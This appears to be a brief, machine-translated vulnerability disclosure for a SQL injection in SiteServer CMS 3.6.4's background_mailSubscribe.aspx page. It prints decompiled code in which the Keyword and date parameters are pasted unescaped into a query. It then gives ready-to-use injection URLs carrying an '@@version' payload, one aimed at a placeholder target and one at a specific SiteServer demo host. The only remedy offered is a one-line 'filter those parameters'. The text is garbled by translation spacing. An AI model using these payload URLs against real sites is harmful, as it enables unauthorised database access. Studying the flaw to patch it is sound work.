Siteserver Latest Version 3.6.4 background_mailSubscribe.aspx page injection and repair

Inject/siteserver/cms/background_mailSubscribe.aspx decompile SiteServer. CMS. dll with. NET Reflector to view the Code as follows:

if (((((uint) isPostBack) - ((uint) isPostBack)) >= 0) && isPostBack)    {        this.spContents.SelectCommand = DataProvider.MailSubscribeDAO.GetSelectCommend(base.PublishmentSystemID, base.Request.QueryString["Keyword"], base.Request.QueryString["DateFrom"], base.Request.QueryString["DateTo"]);    }    elseKeywordpublic string GetSelectCommend(int publishmentSystemID, string keyword, string dateFrom, string dateTo){    // This item is obfuscated and can not be translated.    StringBuilder builder;    bool flag;    bool flag2;    if (publishmentSystemID != 0)    {        goto Label_02D7;    }    if ((((uint) publishmentSystemID) + ((uint) publishmentSystemID)) >= 0)    {        goto Label_0311;    }    goto Label_026E;Label_002D:    return ("SELECT ID, PublishmentSystemID, Receiver, Mail, IPAddress, AddDate FROM siteserver_MailSubscribe " + builder.ToString());Label_0069:    builder.AppendFormat("(AddDate <= '{0}')", dateTo);    goto Label_002D;.....Label_0197:    if ((((uint) flag2) + ((uint) flag)) <= uint.MaxValue)    {        goto Label_016C;    }    goto Label_0151;Label_01B4:    if ((((uint) flag) & 0) != 0)    {        goto Label_02B6;    }    builder.AppendFormat("(Receiver LIKE '%{0}%' OR Mail LIKE '%{0}%')", keyword);    goto Label_0197;

 

Http://www.target.com/siteserver/cms/background_mailSubscribe.aspx? PublishmentSystemID = 0 & Keyword = '% 20and % 201 = @ version % 20and % 201 = '1 & DateFrom = & DateTo = http://2012.moban.siteserver.cn/siteserver/cms/background_mailSubscribe.aspx? PublishmentSystemID = 0 & Keyword = '% 20and % 201 = @ version % 20and % 201 = '1 & DateFrom = & DateTo = Solution:Filter those parameters